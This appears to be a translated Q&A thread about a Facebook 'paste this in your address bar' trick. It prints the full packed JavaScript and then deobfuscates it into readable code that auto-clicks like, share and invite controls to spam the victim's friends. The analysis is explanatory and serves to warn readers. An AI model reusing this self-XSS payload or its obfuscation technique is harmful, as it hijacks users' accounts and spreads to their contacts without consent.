我在facebook上找到的这个奇怪的剧本是什么？

这不是一个问题，以帮助我自己的编程，但我发现这个页面在Facebook上有一个很酷的错觉和一个页面，上面写着“看到真正的错觉，将这些代码复制并粘贴到你的地址栏”，并且有一个脚本：

免责声明：请勿运行以下代码

这到底是什么意思？如果我把它放在我的地址栏中会发生什么，我认为这是一个非常不明智的想法？

我很困惑。

一开始不清楚该代码是做什么的（因为它的目的是）所以要回答你的问题，代码必须被解压缩。只是这样你可以按照我的想法，我在这里包括非混淆的每一步。

这是添加了换行符的脚本的当前形式：

    SqmbQL='app129556453726651_SqmbQL';
    kPtsfs='app129556453726651_kPtsfs';

    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g]){F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))

正如我们所看到的，脚本本身是一个自调用闭包内的函数，它将在处理脚本时立即执行。该脚本包含一些神秘的变量和一些用Edward's packer打包的代码。当我们使用解包器like this解压缩代码时，我们得到以下形式（添加了换行符）：

(function(){
    a='app129556453726651_fsDszN';
    b='app129556453726651_rcgAmd';

    d = document;
    d[variables[2]](kPtsfs)[variables[1]][variables[0]] = variables[3];
    d[variables[2]](a)[variables[4]] = d[variables[2]](b)[variables[5]];
    s = d[variables[2]](variables[6]);
    m = d[variables[2]](variables[7]);
    sl = d[variables[2]](variables[8]);
    c = d[variables[10]](variables[9]);
    c[variables[12]](variables[11], true, true);
    s[variables[13]](c);

    setTimeout(function () {
        fs[variables[14]]()
    }, 5000);

    setTimeout(function () {
        SocialGraphManager[variables[17]](variables[15], variables[16]);
        setTimeout(function () {
            c[variables[12]](variables[11], true, true);
            sl[variables[13]](c);
            setTimeout(function () {
                inp = document[variables[19]](variables[18]);
                for (i in inp) {
                    if (inp[i][variables[5]] == variables[20]) {
                        inp[i][variables[13]](c)
                    }
                };
                m[variables[13]](c);
                setTimeout(function () {
                    d[variables[2]](SqmbQL)[variables[4]] = d[variables[2]](rhsjGW)[variables[5]];
                }, 2000)
            }, 4000)
        }, 3000)
    }, 5000);
})();

我们可以立即看到代码在特定的时间间隔内执行命令，先是5秒后，然后是3，然后是4，最后是2秒。脚本的开头包含一些十六进制编码的变量，可以解码为：

var variables = [
    "visibility",
    "style",
    "getElementById",
    "hidden",
    "innerHTML",
    "value",
    "suggest",
    "likeme",
    "slink",
    "MouseEvents",
    "createEvent",
    "click",
    "initEvent",
    "dispatchEvent",
    "select_all",
    "sgm_invite_form",
    "/ajax/social_graph/invite_dialog.php",
    "submitDialog",
    "input",
    "getElementsByTagName",
    "Share",
    "pop_content"];

通过将这些变量替换为代码，我们得到：

(function(){
    a='app129556453726651_fsDszN';
    b='app129556453726651_rcgAmd';
    rhsjGW='app129556453726651_rhsjGW';
    SqmbQL='app129556453726651_SqmbQL';
    kPtsfs='app129556453726651_kPtsfs';

    d = document;
    d["getElementById"](kPtsfs)["style"]["visibility"] = "hidden";
    d["getElementById"](a)["innerHTML"] = d["getElementById"](b)["value"];
    s = d["getElementById"]("suggest");
    m = d["getElementById"]("likeme");
    sl = d["getElementById"]("slink");
    c = d["createEvent"]("MouseEvents");
    c["initEvent"]("click", true, true);
    s["dispatchEvent"](c);

    setTimeout(function () {
        fs["select_all"]()
    }, 5000);

    setTimeout(function () {
        SocialGraphManager["submitDialog"]("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
        setTimeout(function () {
            c["initEvent"]("click", true, true);
            sl["dispatchEvent"](c);
            setTimeout(function () {
                inp = document["getElementsByTagName"]("input");
                for (i in inp) {
                    if (inp[i]["value"] == "Share") {
                        inp[i]["dispatchEvent"](c)
                    }
                };
                m["dispatchEvent"](c);
                setTimeout(function () {
                    d["getElementById"](SqmbQL)["innerHTML"] = d["getElementById"](rhsjGW)["value"];
                }, 2000)
            }, 4000)
        }, 3000)
    }, 5000);
})();

正如我们所知document['getElementById']与document.getElementById相同，我们可以清理代码，使其最终变得可读。我还做了变量替换并将setTimeouts分开以便于阅读：

(function(){
    document.getElementById('app129556453726651_kPtsfs').style.visibility = "hidden";
    document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
    s = document.getElementById("suggest");
    m = document.getElementById("likeme");
    sl = document.getElementById("slink");
    c = document.createEvent("MouseEvents");
    c.initEvent("click", true, true);
    s.dispatchEvent(c);

    setTimeout(function () {
        fs.select_all()
    }, 5000);

    setTimeout(function () {
        SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
    }, 5000);

    setTimeout(function () {
        c.initEvent("click", true, true);
        sl.dispatchEvent(c);
    }, 8000);

    setTimeout(function () {
        inp = document.getElementsByTagName("input");                    
        for (i in inp) {
            if (inp[i].value == "Share") {
                inp[i].dispatchEvent(c);
            }
        };                    
        m.dispatchEvent(c);                
    }, 12000);

    setTimeout(function () {
        document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
    }, 14000);
})();

现在，在不了解Facebook如何工作的情况下，这确实看起来很恶意，分享你可能不想分享的东西等。希望有帮助，这篇文章的主要思想是展示你如何自己解密这样的脚本。 ：）

这是一个排序的facebook'病毒'..它实际上邀请所有朋友加入名为socialgraph的应用
